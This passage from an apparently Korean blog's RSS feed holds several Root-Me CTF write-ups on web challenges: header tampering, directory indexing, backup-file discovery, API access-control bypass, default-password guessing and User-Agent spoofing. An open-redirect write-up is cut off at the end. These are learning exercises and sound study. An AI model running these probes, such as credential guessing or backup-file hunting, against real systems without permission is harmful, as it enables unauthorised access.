&lt;pre id=&quot;code_1751899024436&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET /web-serveur/ch5/ HTTP/1.1
Host: challenge01.root-me.org
Pragma: no-cache
Cache-Control: no-cache
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Header-RootMe-Admin: none&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수정된 Response&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1751899048965&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Jul 2025 08:11:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Header-RootMe-Admin: none
Content-Length: 360

&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;&amp;lt;link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /&amp;gt;&amp;lt;iframe id='iframe' src='https://www.root-me.org/?page=externe_header'&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;p&amp;gt;Content is not the only part of an HTTP response!&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;You dit it ! You can validate the challenge with the password [Flag]
&amp;lt;/p&amp;gt;&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/301</guid>
      <comments>https://jangto.tistory.com/entry/HTTP-Headers#entry301comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:37:39 +0900</pubDate>
    </item>
    <item>
      <title>HTTP - Directory indexing</title>
      <link>https://jangto.tistory.com/entry/HTTP-Directory-indexing</link>
      <description>&lt;h1&gt;디렉토리 인덱싱(Directory Indexing) 취약점 분석&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디렉토리 인덱싱(Directory Indexing) 취약점은 웹 서버에서 디렉토리 내의 파일 목록이 자동으로 노출되는 현상을 의미하며 이로 인해 공격자는 비의도적으로 공개된 민감한 파일을 쉽게 열람할 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 서버 설정(Apache, Nginx 등)에서 autoindex 혹은 Options +Indexes 옵션이 활성화되어 있는 경우&lt;/li&gt;
&lt;li&gt;해당 디렉토리에 index.html이나 index.php 같은 기본 인덱스 파일이 존재하지 않을 경우&lt;/li&gt;
&lt;li&gt;디렉토리에 대한 접근 제어 미설정 또는 접근 권한 과다 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 취약점 탐지 배경&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 해결을 위해 HTML 소스코드를 분석하던 중 다음과 같은 경로가 언급된 것을 발견하였습니다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!-- admin/pass.html --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 경로(/admin/pass.html)를 직접 브라우저에서 요청해보니 다음과 같은 메시지가 출력되었습니다.&lt;/p&gt;
&lt;pre class=&quot;ada&quot;&gt;&lt;code&gt;J'ai bien l'impression que tu t'es fait avoir / Got rick rolled ? ;)
T'inqui&amp;egrave;te tu n'es pas le dernier / You're not the last :p
Cherche BIEN / Just search
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 메시지를 통해 해당 파일은 실제 플래그가 존재하는 위치가 아님을 유추할 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 /admin/ 경로 자체가 존재한다는 점에서 디렉토리 인덱싱가능성을 의심하였습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 디렉토리 인덱싱 탐지 및 경로 열람&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/admin/ 경로에 직접 접근한 결과 디렉토리 목록이 웹 브라우저에 그대로 노출되며 다음과 같은 폴더 구조를 확인할 수 있었습니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 85px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;File Name&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;File Size&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;Date&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;Parent directory/&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;backup/&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;2021-Dec-10 22:35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;pass.html&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;346 B&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;2021-Dec-10 22:35&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pass.html은 미끼 파일로 판단되어 backup/ 폴더에 접근을 시도하였습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 비밀번호 확인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/admin/backup/ 디렉토리에 접근하자 다음과 같은 파일 목록이 노출되었습니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File Name&lt;/td&gt;
&lt;td&gt;File Size&lt;/td&gt;
&lt;td&gt;Date&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parent directory/&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;admin.txt&lt;/td&gt;
&lt;td&gt;32 B&lt;/td&gt;
&lt;td&gt;2021-Dec-10 22:35&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin.txt 파일을 열람한 결과 해당 문제의 플래그(Flag)가 포함되어 있음을 확인할 수 있었습니다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/300</guid>
      <comments>https://jangto.tistory.com/entry/HTTP-Directory-indexing#entry300comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:32:50 +0900</pubDate>
    </item>
    <item>
      <title>Backup file</title>
      <link>https://jangto.tistory.com/entry/Backup-file</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Weak pasword 취약점 시도&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 이해하지 못해서 우선 약한 비밀번호를 통해 일반적인 보안 취약점을 시도하였으나 별다른 진전이 없어 다른 접근 방식을 모색하였습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Index 파일 존재 여부 확인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 웹 서비스 루트 경로가 /로 끝나는 경우 내부적으로 index 파일을 로딩합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 아래 URL을 통해 index 파일의 존재 유무를 확인하였습니다.&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;http://challenge01.root-me.org/web-serveur/ch11/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자 도구를 통해 응답헤더에서 X-Powered-By와 같은 기술 스택 정보를 추론할 수 있는 항목은 존재하지 않았으며 쿠키 정보에서도 Backend 언어를 추청할 수 있는 세션 식별자가 확인되지 않았습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 확장자 기반 백엔드 언어 추론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기술 스택을 추청할 수 있는 명시적 정보가 없어서 대표적인 index 파일 확장자들을 브루트포싱 방식으로 접근을 시도하였습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/index.html &amp;rarr; 404&lt;/li&gt;
&lt;li&gt;/index.js &amp;rarr; 404&lt;/li&gt;
&lt;li&gt;/index.py &amp;rarr; 404&lt;/li&gt;
&lt;li&gt;/index.asp &amp;rarr; 404&lt;/li&gt;
&lt;li&gt;/index.php &amp;rarr; ✅정상 응답 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 해당 서버가 PHP 기반 웹 애플리케이션임을 추청할 수 있습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 백업 파일 접근 시도&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기반 언어가 PHP로 확인 되었으므로 개발 중 생성되었을 가능성이 있는 백업파일(Backup File)을 탐색하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 보편적으로 사용되는 백업 파일 확장자를 구글에 검색한 결과입니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;확장자&lt;/td&gt;
&lt;td&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.bak&lt;/td&gt;
&lt;td&gt;backup의 약어로 가장 보편적으로 많이 사용됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.old&lt;/td&gt;
&lt;td&gt;수정 전 버전이라는 의미로 사용됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.bk, .bkp&lt;/td&gt;
&lt;td&gt;.bak의 축약형으로 자주 사용됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;~&lt;/td&gt;
&lt;td&gt;일부 리눅스 편집기에서 자동 생성되는 형식입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.orig&lt;/td&gt;
&lt;td&gt;original의 약어로 사용됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/index.php.bak &amp;rarr; 404&lt;/li&gt;
&lt;li&gt;/index.php.old &amp;rarr; 404&lt;/li&gt;
&lt;li&gt;/index.php~ &amp;rarr; ✅파일 다운로드&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 /index.php~ 경로 접근 시 파일이 다운로드 되는것을 확인하였습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 정보 노출 확인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 받은 index.php~ 파일을 에디터를 통해 열어 확인한 결과 비밀번호(Flag) 값이 하드코딩 되어있는 것을 확인하였습니다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/299</guid>
      <comments>https://jangto.tistory.com/entry/Backup-file#entry299comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:31:12 +0900</pubDate>
    </item>
    <item>
      <title>[Burp Suite] API - Broken Access</title>
      <link>https://jangto.tistory.com/entry/Burp-Suite-API-Broken-Access</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 기능 정상 동작 확인&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 API가 정상 동작하는지 확인하기 위해 다음 절차를 실행하였습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-1. 회원가입&lt;/h3&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;POST /api/signup
{
  &quot;username&quot;: &quot;guest&quot;,
  &quot;password&quot;: &quot;1234&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Response :&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;Response
{
  &quot;message&quot;: &quot;User created successfully&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-2. 로그인&lt;/h3&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;Request
POST /api/login
{
  &quot;username&quot;: &quot;guest&quot;,
  &quot;password&quot;: &quot;1234&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Response :&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;Response
{
  &quot;message&quot;: &quot;Logged in successfully&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-3. 노트 작성&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Request
PUT /api/note
{
  &quot;note&quot;: &quot;this is a note.&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Response :&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;Response
{
  &quot;message&quot;: &quot;Note updated successfully.&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-4. 사용자 정보 조회&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 ID를 알 수 없으나 문서에 따라 Path에 넣으라고 되어 있어 우선 임의의 ID를 넣어 테스트하였습니다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;Request
GET /api/user/1
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Response :&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;Response
{
  &quot;note&quot;: &quot;this is a note.&quot;,
  &quot;userid&quot;: 2,
  &quot;username&quot;: &quot;guest&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt; &amp;nbsp;로그인 기반 인증이 적용되어 있으며, 사용자 식별은 서버 측에서 처리하고 있음을 확인하였습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 인가 취약점 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-1. 취약점 분석 대상 API&lt;/h3&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;GET /api/user/{user_id}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-2. 테스트 절차&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;guest 계정으로 로그인한 상태에서 /api/user/{user_id} 형식의 API 접근&lt;/li&gt;
&lt;li&gt;Burp Suite를 통해 요청을 Intercept한 결과, 클라이언트에서 /api/uesr/1 등으로 접근해도 실제 서버로 전송되는 요청은 단순히 GET /api/user 형식임을 확인&lt;/li&gt;
&lt;li&gt;이를 바탕으로 Repeater에서 다음과 같이 직접 요청을 조작&lt;/li&gt;
&lt;li&gt;GET /api/user/1&lt;/li&gt;
&lt;li&gt;응답으로 admin 계정에 대한 정보가 반환되는걸을 확인&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/298</guid>
      <comments>https://jangto.tistory.com/entry/Burp-Suite-API-Broken-Access#entry298comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:29:41 +0900</pubDate>
    </item>
    <item>
      <title>Weak password</title>
      <link>https://jangto.tistory.com/entry/Weak-password</link>
      <description>&lt;h1&gt;&lt;b&gt;Problem&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어렵지 않은 계정 정보를 입력하여 로그인하세요.&lt;/p&gt;
&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별도 제한 없이 인증이 가능한 구조로 보이며 실제로 자주 사용되는 기본 계정 정보를 시도해보았습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;root / root&lt;/li&gt;
&lt;li&gt;guest / guest&lt;/li&gt;
&lt;li&gt;admin / admin&lt;/li&gt;
&lt;li&gt;사이트 명 / 사이트 명&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;결론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 취약점은 정말 별거 아니라고 생각하고 이런게 무슨 취약점이냐 싶었는데, 뉴스를 찾아보니 아직까지도 수많은 곳에서 해당 내용으로 해킹 사건이 비일비재하게 발생한다는 것을 알게되었습니다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/297</guid>
      <comments>https://jangto.tistory.com/entry/Weak-password#entry297comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:27:47 +0900</pubDate>
    </item>
    <item>
      <title>[Header] HTTP - User-agent</title>
      <link>https://jangto.tistory.com/entry/Header-HTTP-User-agent</link>
      <description>&lt;h1&gt;&lt;b&gt;Problem&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;User-Agent를 조작하여 검증을 우회 하세요.&lt;/p&gt;
&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 살펴보니 서버가 HTTP 요청의 User-Agent 값을 검사하여 이를 기반으로 접근을 제어하는 방식으로 구현되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 User-Agent는 클라이언트 측에서 쉽게 조작이 가능한 헤더로 이를 신뢰하여 인증 또는 인가를 수행하는 것은 보안상 매우 취약한 설계에 해당합니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Header 조작 후 테스트&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Header에 User-Agent=admin을 추가하여 요청을 보냈습니다.&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;curl -H &quot;User-Agent: admin&quot; http://challenge01.root-me.org/web-serveur/ch2/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과는 다음과 같았습니다.&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;&amp;lt;h3&amp;gt;
	Welcome master!&amp;lt;br/&amp;gt;
	Password: 비밀번호
&amp;lt;/h3&amp;gt;&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <category>header</category>
      <category>User-agent</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/296</guid>
      <comments>https://jangto.tistory.com/entry/Header-HTTP-User-agent#entry296comment</comments>
      <pubDate>Mon, 7 Jul 2025 23:26:58 +0900</pubDate>
    </item>
    <item>
      <title>[Open Redirect] HTTP - Open redirect</title>
      <link>https://jangto.tistory.com/entry/Open-Redirect-HTTP-Open-redirect</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;798&quot; data-origin-height=&quot;188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCUdYy/btsO2rgPhkX/58SkqlOrzAoDSJUuo5HkzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCUdYy/btsO2rgPhkX/58SkqlOrzAoDSJUuo5HkzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCUdYy/btsO2rgPhkX/58SkqlOrzAoDSJUuo5HkzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCUdYy%2FbtsO2rgPhkX%2F58SkqlOrzAoDSJUuo5HkzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;798&quot; height=&quot;188&quot; data-origin-width=&quot;798&quot; data-origin-height=&quot;188&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Problem&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹&amp;nbsp;페이지에&amp;nbsp;표시된&amp;nbsp;도메인이&amp;nbsp;아닌&amp;nbsp;다른&amp;nbsp;도메인으로&amp;nbsp;리디렉션하는&amp;nbsp;방법을&amp;nbsp;찾으세요.&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 페이지 구조 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 페이지가 어떻게 구성되어 있는지 개발자 도구(F12)를 통해 구조를 확인했습니다.&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;pre id=&quot;code_1751514855867&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body&amp;gt;
  &amp;lt;link rel=&quot;stylesheet&quot; property=&quot;stylesheet&quot; id=&quot;s&quot; type=&quot;text/css&quot; href=&quot;/template/s.css&quot; media=&quot;all&quot;&amp;gt;
  &amp;lt;iframe id=&quot;iframe&quot; src=&quot;https://www.root-me.org/?page=externe_header&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
  &amp;lt;h1&amp;gt;Social Networks&amp;lt;/h1&amp;gt;
  &amp;lt;a href=&quot;?url=https://facebook.com&amp;amp;h=a023cfbf5f1c39bdf8407f28b60cd134&quot;&amp;gt;facebook&amp;lt;/a&amp;gt;
  &amp;lt;a href=&quot;?url=https://twitter.com&amp;amp;h=be8b09f7f1f66235a9c91986952483f0&quot;&amp;gt;twitter&amp;lt;/a&amp;gt;
  &amp;lt;a href=&quot;?url=https://slack.com&amp;amp;h=e52dc719664ead63be3d5066c135b6da&quot;&amp;gt;slack&amp;lt;/a&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;눈에 띄는 부분은 링크들이 모두 ?url=...&amp;amp;h=... 형태로 되어 있다는 점입니다.&lt;br /&gt;url은 리디렉션할 대상 URL, h는 아마도 해시(hash) 값으로 추정됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. 임의의 URL로 테스트&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;url 파라미터만 바꾸면 리디렉션이 가능하지 않을까 싶어 다음과 같이 시도해봤습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751515080762&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ curl &quot;http://challenge01.root-me.org/web-serveur/ch52/?url=https://naver.com&amp;amp;h=a023cfbf5f1c39bdf8407f28b60cd134&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과는 다음과 같았습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1751515107246&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;p id='error'&amp;gt;Incorrect hash!&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과를 보니 h 값은 단순히 아무 값이나 넣는 것이 아니라 특정 규칙이 있는 것임을 알 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. h는 해시&lt;/b&gt;&lt;/h3&gt;
&lt;figure id=&quot;og_1751518464421&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[Hash Algorithm] 해시 길이 정리 (MD5, SHA-1, SHA-256, SHA-512)&quot; data-og-description=&quot;해킹/보안 공부나 인증 시스템 구현 시 자주 접하게 되는 해시 알고리즘의 해시 문자열(16진수)의 길이만 보고 어떤 알고리즘이 사용되었는지 추측할 수 있기 때문에 아래 내용을 정리해두었습&quot; data-og-host=&quot;jangto.tistory.com&quot; data-og-source-url=&quot;https://jangto.tistory.com/entry/Hash-Algorithm-%ED%95%B4%EC%8B%9C-%EA%B8%B8%EC%9D%B4-%EC%A0%95%EB%A6%AC-MD5-SHA-1-SHA-256-SHA-512&quot; data-og-url=&quot;https://jangto.tistory.com/entry/Hash-Algorithm-%ED%95%B4%EC%8B%9C-%EA%B8%B8%EC%9D%B4-%EC%A0%95%EB%A6%AC-MD5-SHA-1-SHA-256-SHA-512&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/oAYlI/hyZf4hsTEt/YFrkDaRJGvTxa1qVxFi9rk/img.jpg?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/b6p9oO/hyZfEQEXRQ/kDxOTTSjAkdeKaYHF02KPK/img.jpg?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800&quot;&gt;&lt;a href=&quot;https://jangto.tistory.com/entry/Hash-Algorithm-%ED%95%B4%EC%8B%9C-%EA%B8%B8%EC%9D%B4-%EC%A0%95%EB%A6%AC-MD5-SHA-1-SHA-256-SHA-512&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://jangto.tistory.com/entry/Hash-Algorithm-%ED%95%B4%EC%8B%9C-%EA%B8%B8%EC%9D%B4-%EC%A0%95%EB%A6%AC-MD5-SHA-1-SHA-256-SHA-512&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/oAYlI/hyZf4hsTEt/YFrkDaRJGvTxa1qVxFi9rk/img.jpg?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/b6p9oO/hyZfEQEXRQ/kDxOTTSjAkdeKaYHF02KPK/img.jpg?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
